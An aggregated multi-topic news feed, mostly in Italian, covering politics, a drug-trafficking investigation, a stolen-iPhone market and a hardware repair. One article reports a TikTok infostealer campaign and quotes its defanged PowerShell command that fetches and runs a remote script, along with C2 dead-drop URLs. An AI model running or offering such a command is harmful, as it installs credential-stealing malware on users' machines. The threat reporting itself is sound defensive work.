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June PPI Meetings


Ahoy Pirates,

Our next PPI board meeting will take place on 03.06.2025 at 14:00 UTC / 16:00 CEST.

Prior to that meeting we will hold a SCENE and SCUBA working groups meeting in the same Jitsi room a week later, 10.06.2025 at 19:00 UTC / 21:00 CEST.

All official PPI proceedings, Board meetings included, are open to the public. Feel free to stop by. We’ll be happy to have you.

Where:jitsi.pirati.cz/PPI-BoardAgenda: etherpad.pp-international.net/…

All of our meetings are posted to our calendar: pp-international.net/calendar/

We look forward to seeing visitors.

Thank you for your support,

The Board of PPI


pp-international.net/2025/05/j…



Un nuovo modello di lavoro: la tavola rotonda del Parlamento Europeo in collaborazione con TPI


@Politica interna, europea e internazionale
Venerdì 23 maggio, alle ore 11,30, presso Esperienza Europa – David Sassoli il Parlamento Europeo, in collaborazione con The Post Internazionale (TPI), organizza la tavola rotonda “Un nuovo modello di lavoro: la direttiva UE per stage di qualità“. Un



Hai seguito un bel tutorial su TikTok e non sei stato attento? Bravo, ti sei beccato un malware!


In un preoccupante segnale dell’evoluzione delle tattiche cybercriminali, i threat actor stanno ora sfruttando la popolarità di TikTok come canale per la distribuzione di malware avanzati progettati per il furto di informazioni. L’ultima campagna in circolazione si concentra sulla diffusione degli infostealer Vidar e StealC, inducendo gli utenti a eseguire comandi PowerShell dannosi con il pretesto di attivare software legittimi o sbloccare funzionalità premium in applicazioni come Windows OS, Microsoft Office, CapCut e Spotify.

A differenza dei metodi tradizionali — come i siti web compromessi o le email di phishing — questo vettore d’attacco si basa esclusivamente su tecniche di ingegneria sociale veicolate tramite video. I criminali informatici realizzano video anonimi, spesso generati con strumenti di intelligenza artificiale, che guidano passo dopo passo le vittime nell’installazione inconsapevole del malware sui propri dispositivi.

Questo approccio è particolarmente insidioso perché non lascia alcun codice dannoso sulla piattaforma stessa che le soluzioni di sicurezza possano rilevare e tutti i contenuti fruibili vengono forniti in modo visivo e uditivo. I ricercatori di Trend Micro hanno identificato diversi account TikTok coinvolti in questa campagna, tra cui @gitallowed, @zane.houghton, @allaivo2, @sysglow.wow, @alexfixpc e @digitaldreams771.

La loro indagine ha rivelato che alcuni video hanno ottenuto un notevole successo: uno in particolare ha ottenuto oltre 20.000 “Mi piace”, 100 commenti e ha raggiunto circa 500.000 visualizzazioni. Questa ampia diffusione dimostra il potenziale impatto della campagna e sottolinea come la portata algoritmica di TikTok possa amplificare contenuti dannosi.

Le conseguenze per le vittime sono gravi, poiché questi ladri di informazioni possono sottrarre dati sensibili, rubare credenziali e potenzialmente compromettere i sistemi aziendali. Una volta installato, il malware stabilisce una comunicazione con i server di comando e controllo, consentendo agli aggressori di raccogliere informazioni preziose dai dispositivi compromessi.

Meccanismo di infezione e analisi tecnica


La catena di infezione inizia quando gli utenti seguono le istruzioni video per aprire PowerShell (premendo Windows+R e digitando “powershell”) e quindi eseguono un comando simile a: iex (irm https://allaivo[.]me/spotify). Questo comando dall’aspetto innocuo scarica ed esegue uno script remoto (SHA256: b8d9821a478f1a377095867aeb2038c464cc59ed31a4c7413ff768f2e14d3886) che avvia il processo di infezione.

Una volta eseguito, lo script crea delle directory nascoste nelle cartelle APPDATA e LOCALAPPDATA dell’utente, quindi aggiunge questi percorsi all’elenco di esclusione di Windows Defender: una sofisticata tecnica di elusione che aiuta il malware a evitare il rilevamento. Il malware procede quindi a scaricare ulteriori payload, tra cui i ladri di informazioni Vidar e StealC.

Queste varianti di malware sono particolarmente pericolose perché prendono di mira informazioni sensibili, tra cui password salvate, portafogli di criptovalute e cookie di autenticazione. Dopo l’installazione, il malware si connette a vari server di comando e controllo, tra cui servizi legittimi utilizzati in modo improprio.

Vidar, ad esempio, utilizza i profili Steam (hxxps://steamcommunity[.]com/profiles/76561199846773220) e i canali Telegram (hxxps://t[.]me/v00rd) come “Dead Drop Resolver” per nascondere la sua effettiva infrastruttura C&C, una tecnica che rende il tracciamento e l’interruzione più difficili. Ciò che rende questa campagna particolarmente efficace è il modo in cui fonde l’ingegneria sociale con lo sfruttamento tecnico.

Presentandosi come utili tutorial per accedere alle funzionalità premium dei software più diffusi, i video creano fiducia negli spettatori, che poi eseguono volentieri i comandi che compromettono i loro sistemi. Ciò rappresenta un’evoluzione significativa negli attacchi basati sui social media, dimostrando come gli autori delle minacce continuino ad adattare le proprie tattiche per sfruttare il comportamento degli utenti ed eludere i controlli di sicurezza tradizionali.

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Lunedì 26 maggio ore 12, Andiamo verso il Parlamento - Sabato 31 maggio ore 14, Manifestazione nazionale a Roma - Il 26 maggio il Decreto Sicurezza passerà in discussione alla Camera. Dopo la trasformazione del DDL in Decreto, il Governo ha tempo fino al 12 giugno per approvare definitivamente la legge. È questo il poco [...]

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Sulle spallucce degli altri.


Una parte dell'Italia di oggi si regge sulle spallucce di chi non ha a cuore diritti e giustizia.

noblogo.org/transit/sulle-spal…


Sulle spallucce degli altri.


(166)

(S)

Un'espressione letta in un articolo mi ha colpito in modo particolare: “L'omertosa apatia del piccolo trambusto quotidiano.” Felicissima intuizione linguistica che riesce a racchiudere in sé uno dei crismi su cui poggia la fertile e vigorosa baldanza del liberismo nostrano, quello che toglie i diritti ai lavoratori e non solo abolendo leggi, ma riducendo il mondo del lavoro, anche quello operaio (ci sono, ci sono: non fate finta di niente) a mera paccottiglia senza valore, neanche umano.

E' quel sentire assai comune che porta alla coltivazione del famoso orticello, che con la staccionata lascia fuori tutti i ragionamenti non adatti alla crescita del proprio benessere, della propria fetta intoccabile di piccoli e spesso inutili “privilegi”. Che, di solito, si formano sulla cenere dei diritti negati ad altri. Ma stando al di là della staccionata, sono chiacchiericcio confuso. Una brezza leggera.

E' l'oltre, la pigrizia di chi sta con il sedere al caldo (o che pensa di averlo coperto) e che può, tranquillamente, silenziosamente, fregarsene di vertenze durissime e dei dannati che sperano in un esito che restituisca un po’ di fiato. Questo sono i lavoratori dei gioielli da preservare della “cultura” del lavoro, della tradizione più autentica e genuina della laboriosità illuminata della parte sana del Paese. Peccato che, come in ogni famiglia, le magagne ci sono, ed enormi.

(S1)

Questo è un corollario. L'Italia vive su questa “omertosa apatia“: possiamo dire che si regge sulle spallucce, quel gesto del corpo che sta a significare “Che me ne frega?”. Sì, ovviamente sono dalla parte di chi ha problemi, sono sinceramente preoccupato dalla condizione di milioni di concittadini costretti praticamente alla povertà pur lavorando e mi indigno fortemente (come se questo cambiasse qualcosa per qualcuno, ma non mi limito.)

Però, fermi: cinque minuti, in pausa caffè. Stasera apericena e c'è la partita in TV (a pagamento). Nessuno è innocente, in un gioco al massacro che vede soccombere giornalmente centinaia di famiglie: nella cosiddetta “società del benessere”, del “Ci sarà chi se ne preoccupa”, di coloro che sanno cosa devono fare gli altri, ma che personalmente ha le mani legate e lo sguardo basso da partecipazione emotiva spinta e sincera.

In piazza, davanti alle fabbriche, a mandare messaggi forti, mettendoci il corpo, la faccia, la pelle possono scendere sempre gli altri di cui sopra. Bravi, ma senza fare troppo casino, che ci si infastidisce. Ben attenti e ribadire che c'è chi deve risolvere le cose: a modino, con quella pragmatica calma che non dia noia al superiore, che certe discorsi non si fanno. Noi si sta bene, ce lo siamo guadagnato.

In Friulano si direbbe “Lasse stà” (lascia stare). E' la resa incondizionata al complice modus operandi di tutta quella genia imprenditoriale che scrive i “Codici etici” delle aziende e poi chiama la questura, che accorre prontamente, se ritiene che qualche manganellata al posto giusto sia un metodo meno aulico, ma più efficace di far filare le cose nella maniera corretta. Che, guarda caso, è sempre e solo la loro.

Tanto, parliamoci chiaro: sono molti di più quelli cui non frega nulla. E si sa che la maggioranza è ben salda e protetta. Dal 2022 poi...

#Lavoro #Diritti #Italia #Opinioni

Mastodon: @alda7069@mastodon.unoTelegram: t.me/transitblogFriendica: @danmatt@poliverso.orgBio Site (tutto in un posto solo, diamine): bio.site/danielemattioli

Gli scritti sono tutelati da “Creative Commons” (qui)

Tutte le opinioni qui riportate sono da considerarsi personali. Per eventuali problemi riscontrati con i testi, si prega di scrivere a: corubomatt@gmail.com




oggi su RadioTre Fahrenheit: dialogo sul numero de "La scuola delle cose" dedicato alle scritture di ricerca, sperimentali, complesse


oggi, alle 17:30, Rai RadioTre Fahrenheit: dialogo su "La scuola delle cose" (Lyceum/Mudima) n. 19 - SCRITTURA DI RICERCA
slowforward.net/2025/05/22/22m…


“la scuola delle cose” oggi pomeriggio su fahrenheit / rai radiotre


RaiTre Fahrenheit
Oggi pomeriggio, su Fahrenheit, Rai RadioTre, alle ore 17:20 circa, dialogo con Tommaso Giartosio sul nuovo numero (aprile 2025) del tabloid “La scuola delle cose“ (Lyceum), dedicato alla SCRITTURA DI RICERCA.

*
Per ascoltare (h. 17:20):
https://www.raiplaysound.it/programmi/fahrenheit

La scuola delle cose, n. 19, aprile 2025, SCRITTURA DI RICERCA (pubbl. Mudima / Lyceum)
cliccare per ingrandire

L’espressione “scrittura di ricerca” è in azione da diversi decenni, e di certo si perde già nelle profondità del Novecento. Tuttavia, dagli anni 2003-2009 (ovvero fra l’esplosione dei blog letterari e l’uscita del libro collettivo Prosa in prosa – edito da Le Lettere; ora da Tic edizioni) e fino a oggi, il numero di materiali sperimentali e saggi sugli stessi è decisamente cresciuto. Ha dunque senso ed è forse addirittura indispensabile iniziare a fare il punto della situazione. Un primo tentativo – insieme sintetico e corposo – è rappresentato da questo numero de «La scuola delle cose», appena uscito grazie alla Fondazione Mudima, all’associazione Lyceum e alla partecipazione dell’Associazione dipoesia. Il tabloid raccoglie otto scritti di altrettanti studiosi e studiose, intorno alla ricerca letteraria e alle scritture complesse. Firmano gli interventi Luigi Ballerini, Gian Luca Picconi, Massimiliano Manganelli, Luigi Magno, Chiara Portesine, Renata Morresi, Chiara Serani, Daniele Poletti.

Info:
Fondazione Mudima <info@mudima.net>

Fondazione Mudima:
mudima.net/

La scuola delle cose:
https://www.facebook.com/Lyceumscuoladellecose

Qui un caotico video:
instagram.com/marco.giovenale/…

#cambioDiParadigma #ChiaraPortesine #ChiaraSerani #CorradoCosta #DanielePoletti #dialogo #Fahrenheit #FondazioneMudima #GianLucaPicconi #GinoDiMaggio #intermedialità #intervista #LaScuolaDelleCose #langpo #languagePoetry #letteralità #LuigiBallerini #LuigiMagno #Lyceum #MassimilianoManganelli #MicheleZaffarano #Mudima #poesiaDiRicercaFrancese #ProsaInProsa #RadioTreFahrenheit #RaiRadioTre #RaiRadioTreFahrenheit #RenataMorresi #ricercaLetteraria #scritturaComplessa #scritturaDiRicerca #scritturaNonAssertiva #scritturaSperimentale #scrittureComplesse #scrittureDiRicerca #scrittureNonAssertive #scrittureNonConvenzionali #scrittureProcedurali #scrittureSperimentali #ScuolaDelleCose #sperimentazioneLetteraria #tabloid #tabloidMudima #TommasoGiartosio #traduzione #traduzioni





Trashed Sound System Lives to Rock another Day


Plenty of consumer goods, from passenger vehicles to toys to electronics, get tossed out prematurely for all kinds of reasons. Repairable damage, market trends, planned obsolescence, and bad design can all lead to an early sunset on something that might still have some useful life in it. This was certainly the case for a sound system that [Bill] found — despite a set of good speakers, the poor design of the hardware combined with some damage was enough for the owner to toss it. But [Bill] took up the challenge to get it back in working order again.
Inside the DIY control unit.
The main problem with this unit is that of design. It relies on a remote control to turn it on and operate everything, and if that breaks or is lost, the entire unit won’t even power on. Tracing the remote back to the control board reveals a 15-pin connector, and some other audio sleuths online have a few ways of using this port to control the system without the remote.

[Bill] found a few mistakes that needed to be corrected, and was eventually able to get an ESP8266 (and eventually an ESP32) to control the unit thanks largely to the fact that it communicates using a slightly modified I2C protocol.

There were a few pieces of physical damage to correct, too. First, the AC power cable had been cut off which was simple enough to replace, but [Bill] also found that a power connector inside the unit was loose as well. With that taken care of he has a perfectly functional and remarkably inexpensive sound system ready for movies or music. There are some other options available for getting a set of speakers blasting tunes again as well, like building the amplifier for them from scratch from the get-go.


hackaday.com/2025/05/22/trashe…




USA: Guai ai paesi che usano i chip di Huawei! Ma sotto pressione della Cina cambiano idea


Solo poche settimane dopo che Stati Uniti e Cina hanno tentato di allentare le tensioni commerciali, i rapporti tra i due paesi si sono nuovamente inaspriti, questa volta a causa dei semiconduttori.

Il Ministero del Commercio cinese ha minacciato di intraprendere azioni legali contro qualsiasi azienda o Paese che rispetti le restrizioni sulle esportazioni di chip AI di Huawei. Lo ha riportato Bloomberg .

Il motivo sono le nuove direttive emanate dall’amministrazione Donald Trump il 13 maggio, che hanno ricordato che l’utilizzo dei chip AI Huawei Ascend “in qualsiasi parte del mondo” è considerato una violazione delle normative statunitensi sull’esportazione.

Le linee guida giungono mentre gli Stati Uniti stanno abrogando le normative sull’intelligenza artificiale introdotte sotto la presidenza di Joe Biden.

All’inizio della settimana, la Cina ha affermato che le azioni degli Stati Uniti stavano compromettendo gli accordi raggiunti nei colloqui di Ginevra volti a stabilizzare le relazioni. Pechino ha visto le nuove direttive come un gesto politico che viola lo spirito della riconciliazione raggiunta e ha accusato gli Stati Uniti di ostacolare i progressi nei colloqui.

A seguito delle critiche provenienti dalla Cina, il Dipartimento del Commercio degli Stati Uniti ha modificato la formulazione del documento, rimuovendo la parte più restrittiva, ovvero il riferimento a “ovunque nel mondo”, ha riportato Bloomberg.

Il rischio, ricorda Pechino, è che “questa pratica di utilizzare il protezionismo unilaterale per contenere e isolare altri paesi finirà per minare la competitività dell’industria statunitense, e il risultato non può che essere quello di darsi la zappa sui piedi”.

L'articolo USA: Guai ai paesi che usano i chip di Huawei! Ma sotto pressione della Cina cambiano idea proviene da il blog della sicurezza informatica.



OpenAI con io Products minaccia Apple?

L'articolo proviene da #StartMag e viene ricondiviso sulla comunità Lemmy @Informatica (Italy e non Italy 😁)
OpenAI acquisterà io Products, la startup dell'ex super designer di Apple Jony Ive. Sam Altman assicura che il loro primo prodotto non farà sparire lo smartphone eppure c'è chi vede questa nuova avventura come "un cattivo presagio" per il produttore di

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STUPEFACENTI DALL'ALBANIA ALL'ITALIA. Tra le fonti di prova le chat criptate della piattaforma SKYECC



Le autorità in Italia e in Albania hanno inferto un duro colpo a tre gruppi di criminalità organizzata legati nel traffico di droga su larga scala e nel riciclaggio di denaro. Durante una giornata di azione congiunta, i mandati di arresto sono stati emessi contro 52 sospetti, compresi gli individui che si ritiene siano ai massimi livelli nelle gerarchie dei gruppi. Eurojust ha sostenuto la cooperazione tra le autorità italiane e albanesi creando un team di indagine congiunto (JIT/SIC Squadra Investigativa Comune). Durante il giorno dell'azione, le autorità di entrambi i paesi hanno sequestrato attività per un valore di almeno diversi milioni di euro, Compresi appartamenti e aziende, nonché vari veicoli di lusso. Sono state anche sequestrate grandi quantità di denaro e quantità di cocaina ed eroina.

Le reti criminali erano coinvolte nei pagamenti, spesso in contanti, di quasi 5 milioni di euro e il traffico di almeno 1 800 chili di cocaina ed eroina.
La Direzione Investigativa Antimafia di Bari e le Autorità Albanesi, con l’ausilio di Interpol, dell’Ufficio dell’Esperto per la Sicurezza di Tirana e della Polizia Albanese, nell’ambito di una Squadra Investigativa Comune, hanno eseguito, su disposizione della Direzione Distrettuale Antimafia di Bari e la Procura Speciale Anticorruzione e Criminalità Organizzata di Tirana, con il Coordinamento di Eurojust (L’Aja) e della Direzione Nazionale Antimafia ed Antiterrorismo di Roma, due ordinanze di custodia cautelare, emesse dal Giudice per le Indagini Preliminari di Bari e dal Giudice presso il Tribunale Speciale di Primo Grado Anticorruzione e Criminalità Organizzata di Tirana nei confronti, complessivamente, di 52 persone responsabili a vario titolo, di traffico internazionale di ingenti quantitativi di sostanze stupefacenti, riciclaggio e abuso d’ufficio.

I provvedimenti cautelari, emessi nell’ambito dell’Operazione URA a fronte delle indagini effettuate dalla DIA di Bari tra settembre 2021 e giugno 2022, hanno consentito di raccogliere gravi indizi di colpevolezza a carico degli indagati, albanesi ed italiani, appartenenti in Italia a due associazioni criminali – riconosciute tali dal G.I.P. di Bari – stanziate nello stesso capoluogo pugliese (accertamento compiuto nella fase delle indagini preliminari che necessita della successiva verifica processuale nel contraddittorio con la difesa) nonché, in Albania, facenti parte di un potente gruppo criminale organizzato – riconosciuto tale dal Giudice di Tirana – stanziato a Durazzo.
La DIA, relativamente agli ingenti quantitativi di eroina e cocaina movimentati, a decorrere dal 2016, tra i Balcani, il Nord Europa, il Sud America e la Puglia, ha documentato l’esistenza di una comunanza d’interessi tra il gruppo criminale in Albania, deputato – a livello transnazionale – alla commercializzazione ed al trasferimento dello stupefacente, e le due associazioni criminali operanti a Bari le quali, a loro volta, effettuate le operazioni di “taglio” e confezionamento in panetti, rifornivano all’ingrosso le organizzazioni baresi, brindisine e leccesi interessate a ricevere l’eroina e la cocaina – di qualità – proveniente rispettivamente dalla Turchia e dall’America Latina.

Le complesse indagini, effettuate con intercettazioni telefoniche, ambientali, video-riprese e servizi di osservazione, pedinamento e controllo, avvalorate dall’estrapolazione e dall’analisi delle chat criptate acquisite dalla piattaforma SKYECC, nonché dalle dichiarazioni di tre collaboratori di giustizia (di cui ne è stata accertata la credibilità e l’attendibilità), hanno permesso, tra l’altro, di documentare, in relazione alla sostanza stupefacente inviata a Bari principalmente dall’Albania e dal Nord Europa, innumerevoli rifornimenti (255 chili di eroina “pura” e cocaina “pura”) effettuati tramite corrieri internazionali. Nel medesimo contesto è stato ricostruito un “flusso” ininterrotto di denaro contante dalla Puglia all’Albania, a pagamento dello stupefacente commercializzato all’“ingrosso”, avvenuto tramite autisti di autobus di linea internazionali, le cui illegali transazioni, per un importo complessivo di 4,5 milioni di euro, hanno consentito alle Autorità Albanesi di contestare il reato di riciclaggio.
In tale ambito sono stati inoltre ricostruite: diverse consegne di denaro contante a pagamento della droga, avvenute a Bari, per importi superiori anche a mezzo milione di euro; il trasferimento di oltre 500 mila dollari dall’Albania all’America Latina, versati quale anticipo per l’acquisto di una partita di 500 chili di cocaina spedita da Guayaquil (Ecuador); episodi di abuso d’ufficio verificatisi in territorio albanese.
I riscontri utilizzati per dimostrare l’operatività delle tre associazioni criminali transnazionali hanno riguardato un precedente sequestro di 3 milioni di euro in denaro contante a Durazzo (Albania) nonché i sequestri di stupefacente effettuati, in circostanze diverse: di oltre 30 chili di eroina ed alcuni “laboratori artigianali” adibiti, a Bari e provincia, al taglio e confezionamento della droga in panetti; di 2 tonnellate di cocaina al porto di Rotterdam (Olanda); di 932 chili di cocaina al porto di Gioia Tauro (Reggio Calabria); di 400 chili di Hashish a Noicattaro (Bari).
Novità di questa indagine è rappresentata dall’utilizzo, tra le fonti di prova, delle chat criptate della piattaforma SKYECC, acquisite con Ordini Europei d’Indagine presso il Tribunale di Parigi. I messaggi, una volta decodificati dagli investigatori della Dia di Bari e condivisi con gli Ufficiali della S.P.A.K. di Tirana, sono stati minuziosamente analizzati e incrociati con le altre risultanze d’indagine, consentendo le contestazioni di reato sia alla D.D.A. di Bari che all’Autorità Giudiziaria albanese.
Il G.I.P. del Tribunale di Bari, dott. Francesco Vittorio Rinaldi, accogliendo le risultanze investigative della locale DDA, (allo stato, fatta salva la valutazione nelle fasi successive con il contributo della difesa) ha riconosciuto il “salto di qualità”, soprattutto dal punto di vista dell’utilizzo di strumenti tecnologici all’avanguardia, il “know-how” e la “capacità imprenditoriale” dei narcotrafficanti albanesi, capaci di gestire vere e proprie “holding criminali” ed in grado di rifornire gruppi mafiosi egemoni nella città di Bari.
I provvedimenti restrittivi emessi dal Giudice presso il Tribunale di Tirana hanno riguardato, tra gli altri, i vertici di una potente famiglia egemone nella città di Durazzo, un Comandante e un Agente della Polizia albanese, un Avvocato e 6 autisti di autobus di linea internazionale.
Le misure cautelari patrimoniali, (allo stato, salvo ulteriore verifica successiva nella fase decisoria con il contraddittorio con la difesa), hanno riguardato in Italia il sequestro preventivo funzionale alla confisca di beni mobili ed immobili tra i quali 9 appartamenti, 4 Società, 7 conti correnti e 3 autovetture e, in Albania, il sequestro di diversi immobili, 2 Società di costruzioni, 4 ristoranti di lusso, 1 Agenzia Immobiliare, 1 rete Televisiva, il cui valore complessivo è stimato in diversi milioni di euro.

L’esecuzione dell’operazione internazionale è stata resa possibile grazie alla Squadra Investigativa Comune, strumento di cooperazione giudiziaria istituito tra la D.D.A. di Bari, la S.P.A.K. di Tirana ed Eurojust (Organismo che sostiene la cooperazione giudiziaria nella lotta contro le forme gravi di criminalità transnazionale), che ha consentito al personale della DIA di Bari ed alle Autorità Albanesi di effettuare approfondimenti investigativi congiunti, avvalendosi del fondamentale ruolo di coordinamento assicurato dalla Direzione Nazionale Antimafia e Antiterrorismo.
L’operazione si incardina nel più ampio progetto investigativo della DDA di Bari e della SPAK di Tirana volto a contrastare l’incessante traffico internazionale di cocaina ed eroina, gestito dalle organizzazioni criminali albanesi. In tale contesto, in esito alle precedenti operazioni “Shefi”, “Kulmi” e “Shpirti”, tra il 2018 e il 2021 la DIA di Bari ha già dato esecuzione complessivamente a 118 misure cautelari, al sequestro di beni mobili ed immobili per diversi milioni di euro e al rinvenimento di oltre sei tonnellate di droga tra marijuana, cocaina e hashish, permettendo, nei vari gradi di giudizio, di comminare pene, per ciascun imputato, fino a 20 anni di reclusione.
L'operazione è stata eseguita su richiesta e da:
Italia: Ufficio della pubblica procuratore Bari - Direzione anti-Mafia distrettuale; Direzione Investigativa Antimafia di Bari, con il sostegno dell'ufficio dell'esperto di sicurezza presso l'ambasciata italiana di Tirana Albania: speciale procuratore anticorruzione e procura del crimine organizzato (SPAK) di Tirana; Polizia albanese

#eurojust #jit #sic #SKYECC #ura #DIA #SPAK

@Attualità



A quali rischi cyber sono esposti i minori e cosa devono sapere i genitori


@Informatica (Italy e non Italy 😁)
Un rapporto della Polizia Postale per la Sicurezza cibernetica rilancia il tema della sicurezza dei minori, esposti a cyber rischi sempre più sofisticati e numerosi. Cosa devono sapere e cosa devono fare i genitori
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Tanto debito, poca crescita. L’Italia ancora preda del disastro Superbonus

@Politica interna, europea e internazionale

L’Italia e l’Europa hanno smesso di crescere. Un dato noto, ribadito dalle nuove stime di primavera della Commissione europea, che ha ritoccato a ribasso le previsioni per l’eurozona dell’anno in corso, dall’1,3% di novembre all’attuale 0,9%. Riviste in



Leonardo si espande ancora e punta agli algoritmi predittivi made in Usa

@Notizie dall'Italia e dal mondo

Dopo la joint venture con Rheinmetall per lo sviluppo di carri armati, l’accordo con Baykar per la produzione di droni, la progettazione del caccia di sesta generazione Gcap insieme a Bae Systems e Mitsubishi e l’accordo sui satelliti con Thales, Leonardo continua



Pavel Nilin – Crudeltà
freezonemagazine.com/news/pave…
In libreria dal 29 Maggio 2025 readerforblind pubblica Crudeltà, il romanzo più celebre di Pavel Nilin, autore e giornalista sovietico che per anni lavorò come funzionario di polizia nelle regioni più remote della Siberia. Scritto nel 1956 durante il disgelo kruscioviano e ambientato nei primi anni dopo la rivoluzione russa, Crudeltà è un poliziesco […]
L'articolo Pavel Nilin – Crudeltà proviene
In libreria dal


Dove finiscono gli iPhone rubati? A Shenzhen c’è una torre che li rivende a pezzi


A Shenzhen, in Cina, c’è un edificio anonimo chiamato Feiyang Times, una torre grigio-marrone con colonne adornate con striscioni di propaganda. A prima vista non sembra niente di speciale, se non fosse per il soprannome che gli inglesi chiamano così su Internet: “la costruzione degli iPhone rubati”. Al terzo e al quarto piano si svolge un vivace mercato notturno di iPhone provenienti dall’Europa e dagli Stati Uniti: molti sono usati, ma alcuni, a quanto pare, erano lì contro la loro volontà.

Ed è qui che entrano in gioco gli smartphone restituiti dagli utenti occidentali in seguito a un cambio di modello, così come i dispositivi con un passato discutibile. I messaggi sui forum, sui social network e persino quelli delle vittime stesse puntano sempre più spesso allo stesso indirizzo: Huachiangbei, un distretto di Shenzhen che è diventato il fulcro della catena di rivendita di prodotti elettronici. La catena inizia con i furti in Occidente, passa per Hong Kong e termina nei negozi dell’emisfero australe.

Ad esempio, l’imprenditore londinese Sam Amrani ha perso il suo iPhone 15 Pro proprio per strada: due uomini in bicicletta elettrica lo hanno fermato all’istante e gli hanno strappato il telefono dalle mani. Una settimana dopo, il dispositivo è stato avvistato a Hong Kong e poi a Shenzhen. Sam ha pubblicato la storia su LinkedIn e ha scoperto di non essere l’unico la cui attrezzatura era stata spedita in Cina.

I venditori del mercato di Feiyang affermano che a Shenzhen c’è un acquirente per praticamente ogni parte di uno smartphone, dallo schermo agli elementi in rame. Anche i dispositivi bloccati vengono utilizzati come pezzi di ricambio. Particolarmente apprezzati sono gli iPhone provenienti dagli Stati Uniti: sono più economici a causa delle restrizioni di rete e consentono l’uso degli app store globali. Nell’area vendita si possono incontrare clienti provenienti da Pakistan, Libia, Hong Kong. Qualcuno sta cercando lotti da 200-300 dispositivi. Alcune persone hanno solo schermi e chip. Esiste addirittura una richiesta di custodie e plastica, che vengono poi rifuse.

A quanto pare, la maggior parte degli iPhone arriva a Shenzhen passando per Hong Kong, un porto franco doganale. L’edificio industriale su Hung To Road è un alveare di attività all’ingrosso, con decine di aziende che vendono dispositivi all’ingrosso, a volte contrassegnati con la dicitura “iCloud bloccato”. Molti telefoni sono già nelle mani di rivenditori provenienti da Turchia, Cina e Filippine. Le aste si svolgono su WhatsApp, WeChat e persino Facebook.

Chi ha a che fare con questi lotti sostiene di non riuscire a sbloccare i dispositivi, ma anche i telefoni “bloccati” possono essere venduti a prezzi vantaggiosi per i pezzi di ricambio. Sebbene le vittime ricevano spesso messaggi da acquirenti in Cina che chiedono o li convincono a rimuovere il blocco di attivazione. A volte minacciano direttamente.

La direzione dell’edificio del Feiyang Times ha rifiutato di rilasciare dichiarazioni. L’ufficio ha riferito che i venditori lavorano come privati ​​e sono responsabili personalmente dell’assortimento. La polizia di Hong Kong ha dichiarato che avrebbe agito nel rispetto della legge se ne avesse avuto i motivi. Il governo di Shenzhen non ha risposto alla richiesta.

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Chi ha vinto tra India e Pakistan? Gli aerei da combattimento cinesi


@Notizie dall'Italia e dal mondo
I caccia di fabbricazione cinese hanno rubato la scena, quelli francesi hanno perso. Sullo sfondo ci sono i nazionalismi di India e Pakistan sfruttati da altre potenze
L'articolo Chi ha vinto tra India e Pakistan? Gli aerei da combattimento cinesi proviene da Pagine Esteri.



se un cecchino demmerda sfiora un console, "tensione israele-italia", "convocato l'ambasciatore israeliano", indignazione & sorpresa.
se l'esercito demmerda di quel cecchino rade al suolo un paese e ammazza più di 50mila civili in maggioranza donne e bambini, si accoglie il primo ministro genocida con baci abbracci e alleanze.
l'importante è che non sia il tuo culo ad essere in pericolo.
not in my backyard.

#notinmybackyard #Gaza #Palestina #esercito #console #izrahell



La Corte suprema israeliana ha detto che il licenziamento del capo dei servizi segreti da parte del governo è stato illegale


Immagino che adesso anche la Corte Suprema israeliana riceverà accuse di antisemitismo.

Comunque:

Per la Corte il licenziamento è illecito sia perché il governo non si era rivolto all’organo competente per la rimozione del capo dello Shin Bet, sia per il conflitto di interessi di Netanyahu, visto che a essere indagati erano suoi collaboratori.

Bar comunque si dimetterà il 15 giugno, come ha annunciato ad aprile citando le proprie responsabilità negli attacchi del 7 ottobre 2023 di Hamas contro Israele.

ilpost.it/2025/05/21/corte-sup…



Digitale Souveränität: Amazon will Cloud-Verträge in der Schweiz geheim halten


netzpolitik.org/2025/digitale-…



trump: il liberatore degli oppressi: i bianchi. ma chi ci crede? fosse mai fregato qualcosa a trump degli oppressi...


Don’t empower Trump to define terrorism


Rümeysa Öztürk never supported terrorism. That’s not even debatable at this point. A federal judge confirmed the government has no evidence to deport the Tufts University graduate student besides her co-authorship of an op-ed opposing the war in Gaza.

The Washington Post has reported that the State Department warned the government before it nabbed her off the street near her home that there was no basis to deport her.

But lack of evidence isn’t stopping the Trump administration’s efforts to deport her or others. So when Congress contemplates granting the same administration further powers to arbitrarily deem its opponents’ conduct “support of terrorism,” alarm bells should sound.

Well, ring-a-ling. Last year’s “nonprofit killer” bill is making a comeback. That’s the bill that would allow the secretary of the treasury to deem nonprofit organizations terrorist supporters and revoke their tax-exempt status, all with little to no due process.

It was buried at the back of President Donald Trump’s “big, beautiful bill” that passed the House Ways and Means Committee, before being stripped out of the next version of the megabill, likely for procedural reasons. There’s no reason to think it’s gone for good.

Opposing the bill’s next incarnation must be top priority for all defenders of press freedom and the rule of law. The bill was a horrible idea during the Biden administration, when many Democrats pandering to anti-Palestinian donors supported it while knowing full well Trump might be president in a few months. Now it’s downright scary.

We don’t have to speculate about slippery slopes anymore — Trump has already shown what he’ll do if he’s allowed to be judge, jury, and executioner when it comes to who is a terrorist supporter. Öztürk is still facing deportation proceedings, and Mahmoud Khalil is still in jail in Louisiana despite Secretary of State Marco Rubio admitting in a court filing that the “terrorism” case against him is solely based on his beliefs — primarily his opposition to the Israel-Gaza war.

He’ll almost certainly demand his Treasury Secretary Scott Bessent declare any organizations that advocate for or assist Palestinians to be terrorist supporters. That’s practically a given. If Bessent refuses, he’ll find someone who will. But what about protesters? Minor property damage will quickly become a terrorist attack in Trump’s alternative reality — an “invasion!” And the administration has already made clear its intent to target environmental nonprofits.

And then, of course, there are nonprofit media outlets, not to mention press freedom groups like Freedom of the Press Foundation (FPF).

Trump’s creativity knows no bounds when it comes to conjuring up frivolous legal theories against news outlets. Just last week, his White House claimed that Business Insider’s parent company engaged in illegal political meddling by reporting on his son’s business entanglements. He has argued that reporting critically about him constitutes “tortious interference” or even election interference — months after the election. The list goes on.

Trump’s creativity knows no bounds when it comes to conjuring up frivolous legal theories against news outlets.

And his own party has already shown him the way. Last year, Sen. Tom Cotton and other Republicans demanded that major news outlets be investigated for terrorism because they bought photographs from freelancers in Gaza (one of whom the Israeli army just assassinated). One letter even threatened charges for merely reporting things officials didn’t like.

Those news outlets were for-profit companies and the threats were under existing laws on material support for terrorism. Cotton and his friends’ antics were mere stunts — those laws require the government to prove its case, and it couldn’t. But the nonprofit killer bill solves that problem when it comes to nonprofit news outlets, by eliminating the government’s burden of proof and the defenses afforded to organizations investigated under current law.

